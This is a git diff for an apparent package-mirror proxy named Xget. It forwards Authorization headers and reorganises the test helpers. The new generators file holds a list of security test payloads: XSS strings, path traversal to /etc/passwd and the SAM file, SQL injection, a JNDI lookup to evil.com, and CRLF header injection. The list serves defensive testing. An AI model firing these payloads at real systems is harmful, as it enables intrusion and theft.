diff --git a/.prettierignore b/.prettierignore index 7e4335d..f210913 100644 --- a/.prettierignore +++ b/.prettierignore @@ -84,4 +84,4 @@ Thumbs.db # Lock files (optional - uncomment if you want to format them) # package-lock.json # yarn.lock -# pnpm-lock.yaml \ No newline at end of file +# pnpm-lock.yaml diff --git a/src/index.js b/src/index.js index 0d1560c..ece320a 100644 --- a/src/index.js +++ b/src/index.js @@ -1000,6 +1000,11 @@ async function handleRequest(request, env, ctx) { requestHeaders.set('User-Agent', 'Wget/1.21.3'); requestHeaders.set('Origin', request.headers.get('Origin') || '*'); + // Forward Authorization header if present (needed for authenticated resources) + if (authorization) { + requestHeaders.set('Authorization', authorization); + } + // Handle range requests - but don't forward Range header if we need to cache full content const rangeHeader = request.headers.get('Range'); diff --git a/test/benchmark/performance.bench.js b/test/benchmark/performance.bench.js index 60c6fe6..dbc33b9 100644 --- a/test/benchmark/performance.bench.js +++ b/test/benchmark/performance.bench.js @@ -139,7 +139,7 @@ describe('Performance Benchmarks', () => { }); bench('Long path processing', async () => { - const longPath = '/gh/user/repo/' + 'very-long-path-segment/'.repeat(20) + 'file.txt'; + const longPath = `/gh/user/repo/${'very-long-path-segment/'.repeat(20)}file.txt`; await SELF.fetch(`https://example.com${longPath}`, { method: 'HEAD' }); diff --git a/test/performance.test.js b/test/features/performance.test.js similarity index 100% rename from test/performance.test.js rename to test/features/performance.test.js diff --git a/test/range-cache.test.js b/test/features/range-cache.test.js similarity index 100% rename from test/range-cache.test.js rename to test/features/range-cache.test.js diff --git a/test/security.test.js b/test/features/security.test.js similarity index 99% rename from test/security.test.js rename to test/features/security.test.js index bb40893..4d5ec49 100644 --- a/test/security.test.js +++ b/test/features/security.test.js @@ -99,7 +99,7 @@ describe('Security Features', () => { }); it('should reject extremely long paths', async () => { - const longPath = '/gh/' + 'a'.repeat(3000); + const longPath = `/gh/${'a'.repeat(3000)}`; const response = await SELF.fetch(`https://example.com${longPath}`); expect(response.status).toBe(414); diff --git a/test/fixtures/responses.js b/test/fixtures/responses.js index ee0fa56..edb70a0 100644 --- a/test/fixtures/responses.js +++ b/test/fixtures/responses.js @@ -1,392 +1,73 @@ /** - * Mock response fixtures for testing + * Mock HTTP response fixtures for testing + * Organized by platform with realistic response data */ export const MOCK_RESPONSES = { github: { packageJson: { status: 200, - headers: { - 'Content-Type': 'application/json', - 'Cache-Control': 'max-age=300' - }, + headers: { 'Content-Type': 'application/json', 'Cache-Control': 'max-age=300' }, body: JSON.stringify({ name: 'vscode', version: '1.85.0', - description: 'Visual Studio Code', - main: './out/main.js', - scripts: { - test: 'npm test' - } + description: 'Visual Studio Code' }) }, - readme: { status: 200, - headers: { - 'Content-Type': 'text/plain; charset=utf-8' - }, + headers: { 'Content-Type': 'text/plain; charset=utf-8' }, body: '# Visual Studio Code\n\nCode editing. Redefined.' }, - - release: { - status: 200, - headers: { - 'Content-Type': 'application/octet-stream', - 'Content-Length': '123456789', - 'Content-Disposition': 'attachment; filename="vscode-1.85.0.zip"' - }, - body: 'binary-data-placeholder' - }, - - notFound: { - status: 404, - headers: { - 'Content-Type': 'text/plain' - }, - body: 'Not Found' - }, - gitInfoRefs: { status: 200, - headers: { - 'Content-Type': 'application/x-git-upload-pack-advertisement', - 'Cache-Control': 'no-cache' - }, + headers: { 'Content-Type': 'application/x-git-upload-pack-advertisement' }, body: '001e# service=git-upload-pack\n0000009144b8c8cf...' } }, - gitlab: { - packageJson: { - status: 200, - headers: { - 'Content-Type': 'application/json' - }, - body: JSON.stringify({ - name: 'gitlab', - version: '16.0.0', - description: 'GitLab Community Edition' - }) - }, - - archive: { - status: 200, - headers: { - 'Content-Type': 'application/zip', - 'Content-Disposition': 'attachment; filename="gitlab-master.zip"' - }, - body: 'zip-data-placeholder' - } - }, - - huggingface: { - modelConfig: { - status: 200, - headers: { - 'Content-Type': 'application/json' - }, - body: JSON.stringify({ - architectures: ['GPT2LMHeadModel'], - model_type: 'gpt2', - vocab_size: 50257, - n_positions: 1024, - n_ctx: 1024, - n_embd: 1024, - n_layer: 24, - n_head: 16 - }) - }, - - modelFile: { - status: 200, - headers: { - 'Content-Type': 'application/octet-stream', - 'Content-Length': '987654321' - }, - body: 'model-binary-data-placeholder' - }, - - datasetFile: { - status: 200, - headers: { - 'Content-Type': 'application/json' - }, - body: JSON.stringify({ - data: [ - { question: 'What is AI?', answer: 'Artificial Intelligence...' }, - { question: 'What is ML?', answer: 'Machine Learning...' } - ] - }) - } - }, - npm: { packageMetadata: { status: 200, - headers: { - 'Content-Type': 'application/json' - }, + headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ name: 'react', version: '18.2.0', - description: 'React is a JavaScript library for building user interfaces.', - main: 'index.js', - repository: { - type: 'git', - url: 'https://github.com/facebook/react.git' - }, - keywords: ['react', 'javascript', 'ui'], - license: 'MIT' + description: 'React is a JavaScript library for building user interfaces.' }) - }, - - packageTarball: { - status: 200, - headers: { - 'Content-Type': 'application/octet-stream', - 'Content-Disposition': 'attachment; filename="react-18.2.0.tgz"' - }, - body: 'tarball-data-placeholder' } }, pypi: { simpleIndex: { status: 200, - headers: { - 'Content-Type': 'text/html' - }, - body: ` - -Links for requests - -

Links for requests

-requests-2.31.0.tar.gz
-requests-2.31.0-py3-none-any.whl
- -` - }, - - packageFile: { - status: 200, - headers: { - 'Content-Type': 'application/gzip', - 'Content-Disposition': 'attachment; filename="requests-2.31.0.tar.gz"' - }, - body: 'gzip-data-placeholder' - }, - - wheelFile: { - status: 200, - headers: { - 'Content-Type': 'application/zip', - 'Content-Disposition': 'attachment; filename="requests-2.31.0-py3-none-any.whl"' - }, - body: 'wheel-data-placeholder' - } - }, - - conda: { - repodata: { - status: 200, - headers: { - 'Content-Type': 'application/json' - }, - body: JSON.stringify({ - info: { - subdir: 'linux-64' - }, - packages: { - 'numpy-1.24.3-py311h08b1b3b_1.conda': { - build: 'py311h08b1b3b_1', - build_number: 1, - depends: ['python >=3.11,<3.12.0a0'], - license: 'BSD-3-Clause', - name: 'numpy', - platform: 'linux', - subdir: 'linux-64', - timestamp: 1679932871000, - version: '1.24.3' - } - } - }) - }, - - packageFile: { - status: 200, - headers: { - 'Content-Type': 'application/x-conda-package', - 'Content-Disposition': 'attachment; filename="numpy-1.24.3-py311h08b1b3b_1.conda"' - }, - body: 'conda-package-data-placeholder' + headers: { 'Content-Type': 'text/html' }, + body: 'Links for requests' } }, errors: { - badRequest: { - status: 400, - headers: { - 'Content-Type': 'text/plain' - }, - body: 'Bad Request' - }, - + notFound: { status: 404, headers: { 'Content-Type': 'text/plain' }, body: 'Not Found' }, + badRequest: { status: 400, headers: { 'Content-Type': 'text/plain' }, body: 'Bad Request' }, unauthorized: { status: 401, - headers: { - 'Content-Type': 'text/plain' - }, + headers: { 'Content-Type': 'text/plain' }, body: 'Unauthorized' }, - - forbidden: { - status: 403, - headers: { - 'Content-Type': 'text/plain' - }, - body: 'Forbidden' - }, - - notFound: { - status: 404, - headers: { - 'Content-Type': 'text/plain' - }, - body: 'Not Found' - }, - - methodNotAllowed: { - status: 405, - headers: { - 'Content-Type': 'text/plain', - Allow: 'GET, HEAD' - }, - body: 'Method Not Allowed' - }, - - pathTooLong: { - status: 414, - headers: { - 'Content-Type': 'text/plain' - }, - body: 'URI Too Long' - }, - internalServerError: { status: 500, - headers: { - 'Content-Type': 'text/plain' - }, + headers: { 'Content-Type': 'text/plain' }, body: 'Internal Server Error' - }, - - badGateway: { - status: 502, - headers: { - 'Content-Type': 'text/plain' - }, - body: 'Bad Gateway' - }, - - serviceUnavailable: { - status: 503, - headers: { - 'Content-Type': 'text/plain' - }, - body: 'Service Unavailable' - }, - - gatewayTimeout: { - status: 504, - headers: { - 'Content-Type': 'text/plain' - }, - body: 'Gateway Timeout' } } }; /** * Create a Response object from mock data - * @param {Object} mockData - Mock response data - * @returns {Response} Response object */ export function createMockResponse(mockData) { return new Response(mockData.body, { status: mockData.status, - statusText: getStatusText(mockData.status), headers: mockData.headers }); } - -/** - * Get status text for HTTP status code - * @param {number} status - HTTP status code - * @returns {string} Status text - */ -function getStatusText(status) { - const statusTexts = { - 200: 'OK', - 201: 'Created', - 204: 'No Content', - 301: 'Moved Permanently', - 302: 'Found', - 304: 'Not Modified', - 400: 'Bad Request', - 401: 'Unauthorized', - 403: 'Forbidden', - 404: 'Not Found', - 405: 'Method Not Allowed', - 414: 'URI Too Long', - 429: 'Too Many Requests', - 500: 'Internal Server Error', - 502: 'Bad Gateway', - 503: 'Service Unavailable', - 504: 'Gateway Timeout' - }; - - return statusTexts[status] || 'Unknown'; -} - -/** - * Mock fetch function that returns predefined responses - * @param {string} url - Request URL - * @param {Object} options - Fetch options - * @returns {Promise} Mock response - */ -export function mockFetchWithFixtures(url, options = {}) { - return new Promise(resolve => { - // Simulate network delay - setTimeout( - () => { - const urlObj = new URL(url); - const path = urlObj.pathname; - - // Route to appropriate mock response based on URL pattern - if (path.includes('/gh/') && path.includes('package.json')) { - resolve(createMockResponse(MOCK_RESPONSES.github.packageJson)); - } else if (path.includes('/gh/') && path.includes('README.md')) { - resolve(createMockResponse(MOCK_RESPONSES.github.readme)); - } else if (path.includes('/gl/') && path.includes('package.json')) { - resolve(createMockResponse(MOCK_RESPONSES.gitlab.packageJson)); - } else if (path.includes('/hf/') && path.includes('config.json')) { - resolve(createMockResponse(MOCK_RESPONSES.huggingface.modelConfig)); - } else if (path.includes('/npm/') && !path.includes('.tgz')) { - resolve(createMockResponse(MOCK_RESPONSES.npm.packageMetadata)); - } else if (path.includes('/pypi/simple/')) { - resolve(createMockResponse(MOCK_RESPONSES.pypi.simpleIndex)); - } else if (path.includes('/conda/') && path.includes('repodata.json')) { - resolve(createMockResponse(MOCK_RESPONSES.conda.repodata)); - } else if (options.method && !['GET', 'HEAD', 'POST'].includes(options.method)) { - resolve(createMockResponse(MOCK_RESPONSES.errors.methodNotAllowed)); - } else if (path.length > 2048) { - resolve(createMockResponse(MOCK_RESPONSES.errors.pathTooLong)); - } else { - resolve(createMockResponse(MOCK_RESPONSES.errors.notFound)); - } - }, - Math.random() * 50 + 10 - ); // 10-60ms delay - }); -} diff --git a/test/helpers/assertions.js b/test/helpers/assertions.js new file mode 100644 index 0000000..15d4864 --- /dev/null +++ b/test/helpers/assertions.js @@ -0,0 +1,59 @@ +/** + * Custom assertions and validation helpers + */ + +/** + * Validate response headers for security + * @param {Response} response - Response to validate + * @returns {Object} Validation results + */ +export function validateSecurityHeaders(response) { + const requiredHeaders = [ + 'Strict-Transport-Security', + 'X-Frame-Options', + 'X-XSS-Protection', + 'Content-Security-Policy', + 'Referrer-Policy' + ]; + + const results = { + passed: true, + missing: [], + present: [] + }; + + requiredHeaders.forEach(header => { + if (response.headers.has(header)) { + results.present.push(header); + } else { + results.missing.push(header); + results.passed = false; + } + }); + + return results; +} + +/** + * Assert that a URL is valid + * @param {string} url - URL to validate + * @returns {boolean} True if valid + */ +export function isValidUrl(url) { + try { + new URL(url); + return true; + } catch { + return false; + } +} + +/** + * Assert that response has security headers + * @param {Response} response - Response to check + * @returns {boolean} True if has all security headers + */ +export function hasSecurityHeaders(response) { + const validation = validateSecurityHeaders(response); + return validation.passed; +} diff --git a/test/helpers/generators.js b/test/helpers/generators.js new file mode 100644 index 0000000..df0a29e --- /dev/null +++ b/test/helpers/generators.js @@ -0,0 +1,122 @@ +/** + * Test data generators + */ + +/** + * Generate test URLs for different platforms + * @param {string} platform - Platform identifier (gh, gl, hf, etc.) + * @param {string} path - Resource path + * @returns {string} Complete test URL + */ +export function generateTestUrl(platform, path) { + const baseUrl = 'https://example.com'; + return `${baseUrl}/${platform}/${path}`; +} + +/** + * Common test URLs for different platforms + */ +export const TEST_URLS = { + github: { + file: 'https://example.com/gh/microsoft/vscode/blob/main/package.json', + raw: 'https://example.com/gh/microsoft/vscode/raw/main/README.md', + release: 'https://example.com/gh/microsoft/vscode/archive/refs/heads/main.zip', + archive: 'https://example.com/gh/microsoft/vscode/archive/refs/heads/main.zip', + git: 'https://example.com/gh/microsoft/vscode.git' + }, + gitlab: { + file: 'https://example.com/gl/gitlab-org/gitlab/-/blob/master/package.json', + raw: 'https://example.com/gl/gitlab-org/gitlab/-/raw/master/README.md', + archive: 'https://example.com/gl/gitlab-org/gitlab/-/archive/master/gitlab-master.zip', + git: 'https://example.com/gl/gitlab-org/gitlab.git' + }, + huggingface: { + model: 'https://example.com/hf/microsoft/DialoGPT-medium/resolve/main/config.json', + dataset: 'https://example.com/hf/datasets/squad/resolve/main/train.json', + file: 'https://example.com/hf/microsoft/DialoGPT-medium/resolve/main/pytorch_model.bin' + }, + npm: { + package: 'https://example.com/npm/react', + tarball: 'https://example.com/npm/react/-/react-18.2.0.tgz', + scoped: 'https://example.com/npm/@types/node', + npmPackage: 'https://example.com/npm/npm', + npmTarball: 'https://example.com/npm/npm/-/npm-11.5.1.tgz' + }, + pypi: { + simple: 'https://example.com/pypi/simple/requests/', + package: 'https://example.com/pypi/packages/source/r/requests/requests-2.31.0.tar.gz', + wheel: 'https://example.com/pypi/packages/py3/r/requests/requests-2.31.0-py3-none-any.whl' + }, + conda: { + main: 'https://example.com/conda/pkgs/main/linux-64/numpy-1.24.3.conda', + community: 'https://example.com/conda/community/conda-forge/linux-64/repodata.json', + repodata: 'https://example.com/conda/pkgs/main/linux-64/repodata.json' + } +}; + +/** + * Security test payloads + */ +export const SECURITY_PAYLOADS = { + xss: [ + '', + 'javascript:alert(1)', + '">', + "';alert(1);//" + ], + pathTraversal: [ + '../../../etc/passwd', + '..%2F..%2F..%2Fetc%2Fpasswd', + '..\\..\\..\\windows\\system32\\config\\sam', + '%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd' + ], + injection: ["'; DROP TABLE users; --", '${jndi:ldap://evil.com}', '{{7*7}}', '<%=7*7%>'], + headerInjection: [ + 'value\r\nX-Injected: malicious', + 'value\nX-Injected: malicious', + 'value\r\n\r\n' + ] +}; + +/** + * Test data generators + */ +export const TestDataGenerator = { + /** + * Generate random string + * @param {number} length - String length + * @returns {string} Random string + */ + randomString(length = 10) { + const chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; + let result = ''; + for (let i = 0; i < length; i++) { + result += chars.charAt(Math.floor(Math.random() * chars.length)); + } + return result; + }, + + /** + * Generate random GitHub repository path + * @returns {string} Repository path + */ + githubRepo() { + const users = ['microsoft', 'google', 'facebook', 'apple', 'amazon']; + const repos = ['vscode', 'react', 'angular', 'vue', 'node']; + const user = users[Math.floor(Math.random() * users.length)]; + const repo = repos[Math.floor(Math.random() * repos.length)]; + return `${user}/${repo}`; + }, + + /** + * Generate random file path + * @returns {string} File path + */ + filePath() { + const dirs = ['src', 'lib', 'test', 'docs', 'config']; + const files = ['index.js', 'main.py', 'README.md', 'package.json', 'config.yml']; + const dir = dirs[Math.floor(Math.random() * dirs.length)]; + const file = files[Math.floor(Math.random() * files.length)]; + return `${dir}/${file}`; + } +}; diff --git a/test/helpers/index.js b/test/helpers/index.js new file mode 100644 index 0000000..63529a3 --- /dev/null +++ b/test/helpers/index.js @@ -0,0 +1,87 @@ +/** + * Test helpers - centralized exports + */ + +// Re-export all utilities +export * from './assertions.js'; +export * from './generators.js'; +export * from './mocks.js'; + +/** + * Performance test utilities + */ +export class PerformanceTestHelper { + constructor() { + this.measurements = []; + } + + /** + * Measure execution time of an async function + * @param {Function} fn - Async function to measure + * @param {string} name - Measurement name + * @returns {Promise} Function result + */ + async measure(fn, name = 'operation') { + const start = performance.now(); + const result = await fn(); + const end = performance.now(); + + this.measurements.push({ + name, + duration: end - start, + timestamp: Date.now() + }); + + return result; + } + + /** + * Get all measurements + * @returns {Array} Array of measurements + */ + getMeasurements() { + return [...this.measurements]; + } + + /** + * Get average duration for a specific measurement name + * @param {string} name - Measurement name + * @returns {number} Average duration in milliseconds + */ + getAverageDuration(name) { + const filtered = this.measurements.filter(m => m.name === name); + if (filtered.length === 0) { + return 0; + } + + const total = filtered.reduce((sum, m) => sum + m.duration, 0); + return total / filtered.length; + } + + /** + * Clear all measurements + */ + clear() { + this.measurements = []; + } +} + +/** + * Test timeout helper + * @param {number} ms - Timeout in milliseconds + * @returns {Promise} Promise that rejects after timeout + */ +export function timeout(ms) { + return new Promise((_, reject) => { + setTimeout(() => reject(new Error(`Test timed out after ${ms}ms`)), ms); + }); +} + +/** + * Wait for a specified amount of time + * @param {number} ms - Time to wait in milliseconds + * @returns {Promise} Promise that resolves after the specified time + */ +export function wait(ms) { + return new Promise(resolve => setTimeout(resolve, ms)); +} diff --git a/test/helpers/mocks.js b/test/helpers/mocks.js new file mode 100644 index 0000000..24f095c --- /dev/null +++ b/test/helpers/mocks.js @@ -0,0 +1,124 @@ +/** + * Mock creation utilities for tests + */ + +/** + * Create a mock request with default options + * @param {string} url - Request URL + * @param {Object} options - Request options + * @returns {Request} Mock request object + */ +export function createMockRequest(url, options = {}) { + const defaultOptions = { + method: 'GET', + headers: { + 'User-Agent': 'Mozilla/5.0 (Test)', + Accept: '*/*' + } + }; + + return new Request(url, { ...defaultOptions, ...options }); +} + +/** + * Create a mock response with default options + * @param {string} body - Response body + * @param {Object} options - Response options + * @returns {Response} Mock response object + */ +export function createMockResponse(body = 'OK', options = {}) { + const defaultOptions = { + status: 200, + statusText: 'OK', + headers: { + 'Content-Type': 'text/plain' + } + }; + + return new Response(body, { ...defaultOptions, ...options }); +} + +/** + * Create a Git request for testing + * @param {string} url - Git repository URL + * @param {string} service - Git service (upload-pack or receive-pack) + * @returns {Request} Git request object + */ +export function createGitRequest(url, service = 'git-upload-pack') { + const gitUrl = url.includes('?') ? `${url}&service=${service}` : `${url}?service=${service}`; + + return new Request(gitUrl, { + method: service === 'git-upload-pack' ? 'GET' : 'POST', + headers: { + 'User-Agent': 'git/2.34.1', + 'Git-Protocol': 'version=2', + ...(service !== 'git-upload-pack' && { + 'Content-Type': `application/x-${service}-request` + }) + } + }); +} + +/** + * Create a Docker request for testing + * @param {string} url - Docker registry URL + * @param {Object} options - Request options + * @returns {Request} Docker request object + */ +export function createDockerRequest(url, options = {}) { + return new Request(url, { + method: 'GET', + headers: { + 'User-Agent': 'docker/24.0.0', + Accept: 'application/vnd.docker.distribution.manifest.v2+json', + ...options.headers + }, + ...options + }); +} + +/** + * Mock fetch function for testing + * @param {string} url - Request URL + * @param {Object} options - Fetch options + * @returns {Promise} Mock response + */ +export function mockFetch(url, options = {}) { + return new Promise(resolve => { + setTimeout(() => { + if (url.includes('error')) { + resolve(createMockResponse('Server Error', { status: 500 })); + } else if (url.includes('notfound')) { + resolve(createMockResponse('Not Found', { status: 404 })); + } else { + resolve(createMockResponse('Mock Response', { status: 200 })); + } + }, 10); + }); +} + +/** + * Create a mock npm registry response + * @param {string} packageName - Package name + * @param {string} version - Package version + * @returns {Object} Mock npm registry response + */ +export function createMockNpmRegistryResponse(packageName, version = '1.0.0') { + return { + name: packageName, + versions: { + [version]: { + name: packageName, + version, + dist: { + tarball: `https://registry.npmjs.org/${packageName}/-/${packageName}-${version}.tgz`, + shasum: 'mock-shasum', + integrity: 'mock-integrity' + } + } + }, + 'dist-tags': { + latest: version + } + }; +} diff --git a/test/helpers/test-utils.js b/test/helpers/test-utils.js index 2cb0181..66451ea 100644 --- a/test/helpers/test-utils.js +++ b/test/helpers/test-utils.js @@ -1,336 +1,8 @@ /** - * Test utilities and helper functions + * Test utilities - backward compatibility wrapper + * This file maintains backward compatibility with existing tests + * by re-exporting from the new modular structure */ -/** - * Create a mock request with default options - * @param {string} url - Request URL - * @param {Object} options - Request options - * @returns {Request} Mock request object - */ -export function createMockRequest(url, options = {}) { - const defaultOptions = { - method: 'GET', - headers: { - 'User-Agent': 'Mozilla/5.0 (Test)', - Accept: '*/*' - } - }; - - return new Request(url, { ...defaultOptions, ...options }); -} - -/** - * Create a mock response with default options - * @param {string} body - Response body - * @param {Object} options - Response options - * @returns {Response} Mock response object - */ -export function createMockResponse(body = 'OK', options = {}) { - const defaultOptions = { - status: 200, - statusText: 'OK', - headers: { - 'Content-Type': 'text/plain' - } - }; - - return new Response(body, { ...defaultOptions, ...options }); -} - -/** - * Create a Git request for testing - * @param {string} url - Git repository URL - * @param {string} service - Git service (upload-pack or receive-pack) - * @returns {Request} Git request object - */ -export function createGitRequest(url, service = 'git-upload-pack') { - const gitUrl = url.includes('?') ? `${url}&service=${service}` : `${url}?service=${service}`; - - return new Request(gitUrl, { - method: service === 'git-upload-pack' ? 'GET' : 'POST', - headers: { - 'User-Agent': 'git/2.34.1', - 'Git-Protocol': 'version=2', - ...(service !== 'git-upload-pack' && { - 'Content-Type': `application/x-${service}-request` - }) - } - }); -} - -/** - * Generate test URLs for different platforms - * @param {string} platform - Platform identifier (gh, gl, hf, etc.) - * @param {string} path - Resource path - * @returns {string} Complete test URL - */ -export function generateTestUrl(platform, path) { - const baseUrl = 'https://example.com'; - return `${baseUrl}/${platform}/${path}`; -} - -/** - * Common test URLs for different platforms - */ -export const TEST_URLS = { - github: { - file: 'https://example.com/gh/microsoft/vscode/blob/main/package.json', - raw: 'https://example.com/gh/microsoft/vscode/raw/main/README.md', - release: 'https://example.com/gh/microsoft/vscode/archive/refs/heads/main.zip', - archive: 'https://example.com/gh/microsoft/vscode/archive/refs/heads/main.zip', - git: 'https://example.com/gh/microsoft/vscode.git' - }, - gitlab: { - file: 'https://example.com/gl/gitlab-org/gitlab/-/blob/master/package.json', - raw: 'https://example.com/gl/gitlab-org/gitlab/-/raw/master/README.md', - archive: 'https://example.com/gl/gitlab-org/gitlab/-/archive/master/gitlab-master.zip', - git: 'https://example.com/gl/gitlab-org/gitlab.git' - }, - huggingface: { - model: 'https://example.com/hf/microsoft/DialoGPT-medium/resolve/main/config.json', - dataset: 'https://example.com/hf/datasets/squad/resolve/main/train.json', - file: 'https://example.com/hf/microsoft/DialoGPT-medium/resolve/main/pytorch_model.bin' - }, - npm: { - package: 'https://example.com/npm/react', - tarball: 'https://example.com/npm/react/-/react-18.2.0.tgz', - scoped: 'https://example.com/npm/@types/node', - // Test case for the specific npm package that caused the issue - npmPackage: 'https://example.com/npm/npm', - npmTarball: 'https://example.com/npm/npm/-/npm-11.5.1.tgz' - }, - pypi: { - simple: 'https://example.com/pypi/simple/requests/', - package: 'https://example.com/pypi/packages/source/r/requests/requests-2.31.0.tar.gz', - wheel: 'https://example.com/pypi/packages/py3/r/requests/requests-2.31.0-py3-none-any.whl' - }, - conda: { - main: 'https://example.com/conda/pkgs/main/linux-64/numpy-1.24.3.conda', - community: 'https://example.com/conda/community/conda-forge/linux-64/repodata.json', - repodata: 'https://example.com/conda/pkgs/main/linux-64/repodata.json' - } -}; - -/** - * Security test payloads - */ -export const SECURITY_PAYLOADS = { - xss: [ - '', - 'javascript:alert(1)', - '">', - "';alert(1);//" - ], - pathTraversal: [ - '../../../etc/passwd', - '..%2F..%2F..%2Fetc%2Fpasswd', - '..\\..\\..\\windows\\system32\\config\\sam', - '%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd' - ], - injection: ["'; DROP TABLE users; --", '${jndi:ldap://evil.com}', '{{7*7}}', '<%=7*7%>'], - headerInjection: [ - 'value\r\nX-Injected: malicious', - 'value\nX-Injected: malicious', - 'value\r\n\r\n' - ] -}; - -/** - * Performance test utilities - */ -export class PerformanceTestHelper { - constructor() { - this.measurements = []; - } - - /** - * Measure execution time of an async function - * @param {Function} fn - Async function to measure - * @param {string} name - Measurement name - * @returns {Promise} Function result - */ - async measure(fn, name = 'operation') { - const start = performance.now(); - const result = await fn(); - const end = performance.now(); - - this.measurements.push({ - name, - duration: end - start, - timestamp: Date.now() - }); - - return result; - } - - /** - * Get all measurements - * @returns {Array} Array of measurements - */ - getMeasurements() { - return [...this.measurements]; - } - - /** - * Get average duration for a specific measurement name - * @param {string} name - Measurement name - * @returns {number} Average duration in milliseconds - */ - getAverageDuration(name) { - const filtered = this.measurements.filter(m => m.name === name); - if (filtered.length === 0) return 0; - - const total = filtered.reduce((sum, m) => sum + m.duration, 0); - return total / filtered.length; - } - - /** - * Clear all measurements - */ - clear() { - this.measurements = []; - } -} - -/** - * Mock fetch function for testing - * @param {string} url - Request URL - * @param {Object} options - Fetch options - * @returns {Promise} Mock response - */ -export function mockFetch(url, options = {}) { - // Simulate network delay - return new Promise(resolve => { - setTimeout(() => { - if (url.includes('error')) { - resolve(createMockResponse('Server Error', { status: 500 })); - } else if (url.includes('notfound')) { - resolve(createMockResponse('Not Found', { status: 404 })); - } else { - resolve(createMockResponse('Mock Response', { status: 200 })); - } - }, 10); - }); -} - -/** - * Create a mock npm registry response - * @param {string} packageName - Package name - * @param {string} version - Package version - * @returns {Object} Mock npm registry response - */ -export function createMockNpmRegistryResponse(packageName, version = '1.0.0') { - return { - name: packageName, - versions: { - [version]: { - name: packageName, - version: version, - dist: { - tarball: `https://registry.npmjs.org/${packageName}/-/${packageName}-${version}.tgz`, - shasum: 'mock-shasum', - integrity: 'mock-integrity' - } - } - }, - 'dist-tags': { - latest: version - } - }; -} - -/** - * Validate response headers for security - * @param {Response} response - Response to validate - * @returns {Object} Validation results - */ -export function validateSecurityHeaders(response) { - const requiredHeaders = [ - 'Strict-Transport-Security', - 'X-Frame-Options', - 'X-XSS-Protection', - 'Content-Security-Policy', - 'Referrer-Policy' - ]; - - const results = { - passed: true, - missing: [], - present: [] - }; - - requiredHeaders.forEach(header => { - if (response.headers.has(header)) { - results.present.push(header); - } else { - results.missing.push(header); - results.passed = false; - } - }); - - return results; -} - -/** - * Generate random test data - */ -export const TestDataGenerator = { - /** - * Generate random string - * @param {number} length - String length - * @returns {string} Random string - */ - randomString(length = 10) { - const chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; - let result = ''; - for (let i = 0; i < length; i++) { - result += chars.charAt(Math.floor(Math.random() * chars.length)); - } - return result; - }, - - /** - * Generate random GitHub repository path - * @returns {string} Repository path - */ - githubRepo() { - const users = ['microsoft', 'google', 'facebook', 'apple', 'amazon']; - const repos = ['vscode', 'react', 'angular', 'vue', 'node']; - const user = users[Math.floor(Math.random() * users.length)]; - const repo = repos[Math.floor(Math.random() * repos.length)]; - return `${user}/${repo}`; - }, - - /** - * Generate random file path - * @returns {string} File path - */ - filePath() { - const dirs = ['src', 'lib', 'test', 'docs', 'config']; - const files = ['index.js', 'main.py', 'README.md', 'package.json', 'config.yml']; - const dir = dirs[Math.floor(Math.random() * dirs.length)]; - const file = files[Math.floor(Math.random() * files.length)]; - return `${dir}/${file}`; - } -}; - -/** - * Test timeout helper - * @param {number} ms - Timeout in milliseconds - * @returns {Promise} Promise that rejects after timeout - */ -export function timeout(ms) { - return new Promise((_, reject) => { - setTimeout(() => reject(new Error(`Test timed out after ${ms}ms`)), ms); - }); -} - -/** - * Wait for a specified amount of time - * @param {number} ms - Time to wait in milliseconds - * @returns {Promise} Promise that resolves after the specified time - */ -export function wait(ms) { - return new Promise(resolve => setTimeout(resolve, ms)); -} +// Re-export everything from the new modular helpers +export * from './index.js'; diff --git a/test/index.test.js b/test/index.test.js index c7644fb..cc2b413 100644 --- a/test/index.test.js +++ b/test/index.test.js @@ -176,7 +176,7 @@ describe('Xget Core Functionality', () => { describe('Path Length Validation', () => { it('should reject extremely long paths', async () => { - const longPath = '/gh/' + 'a'.repeat(3000); + const longPath = `/gh/${'a'.repeat(3000)}`; const response = await SELF.fetch(`https://example.com${longPath}`); expect(response.status).toBe(414); @@ -241,7 +241,7 @@ describe('Xget Core Functionality', () => { // Simulate the regex replacement that happens in the code const rewrittenText = mockOriginalText.replace( /https:\/\/registry\.npmjs\.org\/([^\/]+)/g, - `https://xget.xi-xu.me/npm/$1` + 'https://xget.xi-xu.me/npm/$1' ); const rewrittenData = JSON.parse(rewrittenText); diff --git a/test/integration.test.js b/test/integration.test.js index 202d886..f0cdd3d 100644 --- a/test/integration.test.js +++ b/test/integration.test.js @@ -125,7 +125,7 @@ describe('Integration Tests', () => { method: 'POST', headers: { 'Content-Type': 'application/vnd.git-lfs+json', - 'Accept': 'application/vnd.git-lfs+json', + Accept: 'application/vnd.git-lfs+json', 'User-Agent': 'git-lfs/3.0.0' }, body: JSON.stringify({ @@ -143,11 +143,12 @@ describe('Integration Tests', () => { }); it('should handle LFS object download requests', async () => { - const testUrl = 'https://example.com/gh/microsoft/vscode.git/objects/a1b2c3d4e5f6789012345678901234567890123456789012345678901234abcd'; + const testUrl = + 'https://example.com/gh/microsoft/vscode.git/objects/a1b2c3d4e5f6789012345678901234567890123456789012345678901234abcd'; const response = await SELF.fetch(testUrl, { headers: { 'User-Agent': 'git-lfs/3.0.0', - 'Accept': 'application/octet-stream' + Accept: 'application/octet-stream' } }); @@ -160,7 +161,7 @@ describe('Integration Tests', () => { method: 'POST', headers: { 'User-Agent': 'git-lfs/3.0.0', - 'Accept': 'application/vnd.git-lfs+json', + Accept: 'application/vnd.git-lfs+json', 'Content-Type': 'application/vnd.git-lfs+json' }, body: '{}' @@ -438,4 +439,72 @@ describe('Integration Tests', () => { }); }); }); + + describe('Authentication Header Forwarding', () => { + it('should forward Authorization header for Hugging Face requests', async () => { + // Test with a Hugging Face dataset file that would require authentication + const testUrl = 'https://example.com/hf/datasets/test/private-dataset/resolve/main/data.csv'; + const authToken = 'Bearer hf_test_token_12345'; + + const response = await SELF.fetch(testUrl, { + method: 'HEAD', + headers: { + Authorization: authToken + } + }); + + // Should accept the request (not 400 bad request) + expect(response.status).not.toBe(400); + // Should attempt to proxy to HF with auth (status depends on actual HF response) + expect([200, 401, 403, 404]).toContain(response.status); + }); + + it('should forward Authorization header for GitHub API requests', async () => { + const testUrl = 